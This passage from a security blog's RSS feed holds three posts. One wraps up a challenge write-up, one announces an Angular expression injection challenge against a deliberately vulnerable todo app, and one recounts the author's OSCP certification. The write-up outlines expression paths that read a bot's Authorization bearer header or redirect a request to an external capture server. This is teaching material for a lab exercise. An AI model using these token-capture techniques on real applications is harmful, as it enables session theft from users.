<p>Out of the 8 solutions provided, we had 3 different expressions that accomplished the same goal, they were:</p>

<ol>
<li>The common <code>.oneUrl()</code> method we learned about.  </li>
<li>My personal favorite, making Bob create a todo with  <code>todos.getRestangularUrl.__bindData__[4].config.defaultHeaders['Authorization']</code> as the title.  </li>
<li>Modifying the Restangular object's self referencing URL, <code>._links.self.href</code>, with an external server to capture the request.</li>
</ol>

<p>Feel free to discuss these solutions over <a href="https://www.reddit.com/r/netsec/comments/3u1vfk/angular_expression_injection_challenge_solutions/">in the Reddit post</a> with the rest of <a href="https://www.reddit.com/r/netsec/">/r/netsec</a>. It's also posted <a href="https://news.ycombinator.com/item?id=10622221">on Hacker News</a>. I'm interested to hear thoughts on the techniques used.</p>

<h3 id="sumitup">Sum it up</h3>

<p>I hope this helped shed light on Angular expressions and what is possible when a user can persist one on the page. An expression seems harmless at first, but there is surprisingly a lot more within your scope then you'd imagine. This vulnerability needs to be looked at the same way as a CSRF or XSS, because an expression injection is capable of causing the same amount of damage...</p>

<p>This vulnerability is going to be most common in applications that didn't start out as being purely a <em>single-page app</em> or apps that don't have all their templates build in Angular. Its going to be most common in web apps that were initially built with an MVC framework, and then mixed in Angular functionality later on. The biggest mistake is putting <code>ng-controller</code> on an HTML element that has server side templates rendered inside of it.</p>

<p>There is still <em>a lot</em> more we can learn about this topic. I already have another challenge in the works to help demonstrate some of the road blocks and complexities you can run into when trying to take advantage of an expression injection.</p>

<p>If you'd like to be notified when the next challenge is released, you can add yourself to my mailing list with the form on the left, or you can watch for my posts on <a href="https://www.reddit.com/r/netsec">reddit.com/r/netsec</a> or <a href="https://twitter.com/ryhanson">my twitter account</a>.</p>

<h3 id="quicknoteaboutthechallenge">Quick note about the challenge</h3>

<p>I initially created the vulnerable todo app for research purposes. I'm currently working on building an Angular expression injection scanner that will assist in finding these holes. In order to build the scanner I obviously need a mix of vulnerable and secure apps to test it against.</p>

<p>I used <a href="https://elements.heroku.com/buttons/bayne/symfony-angular-todomvc">this Heroku button</a> and made a few small modifications to make it vulnerable. Then I decided to release it as a challenge to see if anyone could solve it. At first it didn't have any form of sessions or isolation between users. This was a dumb mistake on my part and meant you could see everyone else's attempts.</p>

<p><em>Bob</em> is the first step in building my scanner. He is a very simple PhantomJS script on a 60 second loop that just visits the site and all its routes. My scanner needed to be able to evaluate the expressions and PhantomJS gives me that ability.</p>

<p>I will make sure to do a better job with future challenges. They may still be somewhat quick and dirty though.</p>]]></content:encoded></item><item><title><![CDATA[Angular Expression Injection Vulnerability Challenge]]></title><description><![CDATA[Angular expression injections are sometimes harmless, but can also lead to malicious execution of client side code. Sandboxes can't protect everything.]]></description><link>https://ryhanson.com/angular-expression-injection-vulnerability/</link><guid isPermaLink="false">01ef3b2e-4fca-4820-b9f1-0c5480728335</guid><category><![CDATA[vulnerability]]></category><category><![CDATA[security]]></category><category><![CDATA[challenge]]></category><category><![CDATA[angular]]></category><dc:creator><![CDATA[Ryan Hanson]]></dc:creator><pubDate>Wed, 11 Nov 2015 06:21:33 GMT</pubDate><content:encoded><![CDATA[<p>Over the past few years, I've written a lot of Angular. Its been quite the learning experience. It started out messy as hell, got better, got smelly, then got better again, but still isn't perfect. I started out just trying to wrap my head around it and make shit work, like most people. This doesn't always end well...</p>

<p>Recently I found in some of the old apps I built I made some major mistakes. One of the main mistakes being: mixing dynamic server side views with angular views. This can end up giving users the ability to inject <a href="https://docs.angularjs.org/guide/expression">Angular expressions</a> into your dynamic server side views. These views can then end up in the scope of your angular application and the expressions will execute.</p>

<p>Troy Hunt does a great job of explaining Angular pitfalls in <a href="http://www.troyhunt.com/2015/02/introducing-angularjs-security.html">this post</a> and also in his <a href="https://app.pluralsight.com/library/courses/angularjs-security-fundamentals/table-of-contents">AngularJS Security Fundamentals</a> course on Pluralsight. I suggest you check those out.</p>

<p>If you feel like you can exploit an Angular expression injection, head over to the little vulnerable app I've setup for you below.</p>

<ul>
<li><strong>Website:</strong> <a href="http://restangular-todo.herokuapp.com/#/">Restangular Todo App</a></li>
<li><strong>Synopsis:</strong> This shared todo list is habitually checked by Bob, every 60 seconds.</li>
<li><strong>Goal:</strong> Inject an Angular Expression that will capture Bob's <code>Authorization: Bearer {token}</code> header when he checks the site.</li>
</ul>

<p>Bob really does visit and browse the site. He's an automated script, but it truly renders the application including all the angular code. This isn't a simulated exercise that looks for a magic string, this is a real vulnerability.</p>

<p>Once you've captured the <del>flag</del> auth header, DM it to <a href="http://twitter.com/ryhanson">me on Twitter</a>, <del>then clear out the Todo list so you don't spoil it for anyone else.</del> If you have any issues or think the <em>Bob Bot</em> is down, let me know. <del>If for some reason a bunch of people try to work on this at the same time, I may put together a CTF style VM to be used locally. But for now, lets just be gentlemen</del> <strong>EDIT:</strong> I've added sessions so there will no longer be any spoiling or collisions!</p>

<h4 align="center">Have fun!</h4>

<p><del>In a week or so, I will do a write up on how I exploited this.</del> <strong>EDIT:</strong> The <a href="https://ryhanson.com/angular-expression-injection-walkthrough/">write up is done</a>!</p>

<p><strong>UPDATE:</strong> I added some hints over in the comments on the <a href="https://www.reddit.com/r/netsec/comments/3sfc68/angular_expression_injection_vulnerability/">Reddit Post</a>, but I figured I'd post them here as well:</p>

<ol>
<li>Chrome Developer Tools is your friend <br>
a. Use the dev tools console to dump an angular object and its scope. This will help you construct the expression to inject.  </li>
<li>Remember, Angular can be configured to use different symbols to start and end expressions (This is to avoid template engine collision).  </li>
<li>No sandbox escape is needed.</li>
</ol>]]></content:encoded></item><item><title><![CDATA[Offensive Security Certified Professional]]></title><description><![CDATA[Completing the Penetration Testing with Kali Linux course and acquiring the Offensive Security Certified Professional (OSCP) certification.]]></description><link>https://ryhanson.com/offensive-security-certified-professional/</link><guid isPermaLink="false">303660ca-02a3-4a80-a31a-87d08fdef097</guid><category><![CDATA[oscp]]></category><category><![CDATA[security]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Ryan Hanson]]></dc:creator><pubDate>Wed, 11 Nov 2015 05:31:10 GMT</pubDate><content:encoded><![CDATA[<p>The <a href="https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/">Penetration Testing with Kali Linux</a> course and the <a href="https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/">Offensive Security Certified Professional</a> (OSCP) certification was created to not only teach, but also prove someone has the core skills required to do a penetration test. Both the course and the certification exam are hands-on. No multiple choice questions or quizzes at all. To get the OSCP certification you must first go through the Penetration Testing with Kali Linux (PWK) course offered by <a href="https://www.offensive-security.com/">Offensive Security</a>, then take the exam. Below you will find my experience with going through the course and exam.</p>

<h3 id="penetrationtestingwithkalilinux">Penetration Testing with Kali Linux</h3>

<p>Upon starting PWK you are supplied with a lengthy lab guide and videos to teach offensive security techniques that you will use in the lab portion of the course. The lab portion of the course consists of more than 50 machines on a virtual network that consists of 4 subnets. Your goal is to compromise as many machines as you can with the techniques learned from the lab guide.</p>

<p><strong>Penetration Testing process and techniques:</strong></p>

<ol>
<li>Information gathering and enumeration  </li>
<li>Discovering security holes and vulnerabilities  </li>
<li>Exploiting vulnerabilities  </li>
<li>Privilege escalation and maintaining access</li>
</ol>

<p>You will also learn to navigate Kali Linux and the various tools that come bundled with it. The full syllabus for the course can be <a href="https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf">found here</a>.</p>

<p>I learned more than I could have ever imagined from this course. I am a very hands-on learner; I learn by doing. This course and exam was exactly what I needed.</p>

<p>The point of the lab is pretend to be an attacker by breaking into all the computers. This learning process puts you in a much better position to prevent these things in real life — either at your job or businesses you may be consulting for.</p>

<p>Put yourself in an offensive mindset when approaching a machine. You’ll think about software in new and different ways. As a software developer you aren’t always thinking about how to break things, or what you can do when you break something, or how you can leverage access from one compromised machine to gain access into another. This mindset has helped me become a security conscious developer.</p>

<p>In the lab network, I am proud to say I successfully compromised every machine, in all the subnets. This includes 3 challenge machines, that are meant to be attempted only after you’ve compromised all the other machines.</p>

<p>The names of these are: pain, sufferance, and humble.</p>

<p>You’ll learn why they are named that way. These took days to fully compromise. You do not have to compromise every machine to get your certification. The labs are there to prepare for the exam. The better you do in the labs and the more machines you compromise, the higher the chances are in successfully completing the exam.</p>

<p>But that’s not all… reports!</p>

<p>In order to write a good report, take detailed notes. Logging and writing all your findings during the entire process will make the reports MUCH easier to write. The report is what gives the value to the penetration test. Being able to write the report in a way non-technical business executives can understand, but also detailed enough that engineers can fix things, is crucial to a successful report.</p>

<h3 id="offensivesecuritycertifiedprofessionalexam">Offensive Security Certified Professional Exam</h3>

<p>The OSCP exam is where all your hard work is put to the test. Just like the labs, the exam is hands on. It consists of a single network of 5 machines. Each machine has a point value assigned to it, some machines are worth more than others. The total number of points possible is 100, you need at least 70 points to pass. In order to be awarded points for a machine an in depth report with the exact steps it took to compromise the machine is required. This puts further emphasis on the importance of the end report in a penetration test.</p>

<p>The one important detail about the exam is this: you have access to the network for 24 hours.</p>

<p>That’s it.</p>

<p>You have to compromise as many machines within 24 hours to acquire enough points to pass. After your network access expires, you have another 24 hours to write the reports for each machine that was compromised. Good detailed notes end up being crucial at this point since you don’t have access to the network anymore.</p>

<p>I was able to successfully compromise every machine in the exam network. Admittedly, it was not easy… I took roughly 20 hours. However, I did acquire enough points within the first 8 hours to pass, but the final two machines gave me a hard time.</p>

<p>During the end of the exam, I found myself going down a rabbit hole and I was forced to crawl out and refocus. The topics I researched and techniques I learned taught me what I needed to compromise the machine. This experience was all too familiar, having gone down many rabbit holes in the lab.</p>

<p>The next day (or later that day), it was time to write my reports. I kept very detailed notes — took plenty of screenshots, and kept all my working exploit code. It took roughly 5 hours to compile the the lab reports and prepare it for submission.</p>

<p>After it was all said and done, the feeling was bittersweet. After spending months in the lab network and hundreds of hours hacking machine after machine, I was sad it was over. It was truly one of the best educational experiences I have ever had. </p>

<p>Feeling accomplished for hacking every machine in both the lab and exam network, you bet I rewarded myself with a ice-cold beer!</p>

<p>If you need any help or want hints for on the labs just <del>let me know.</del> kidding... <em>try harder!</em></p>

<p align="center">  
I tried harder.  
<img src="https://ryhanson.com/content/images/2015/11/OSCPCert-1.jpg" alt="OSCP Certification">
</p>

<p>This article was originally posted on the <a href="https://royaljay.com/security/how-i-became-an-offensive-security-certified-professional/">Royal Jay blog.</a></p>]]></content:encoded></item></channel></rss>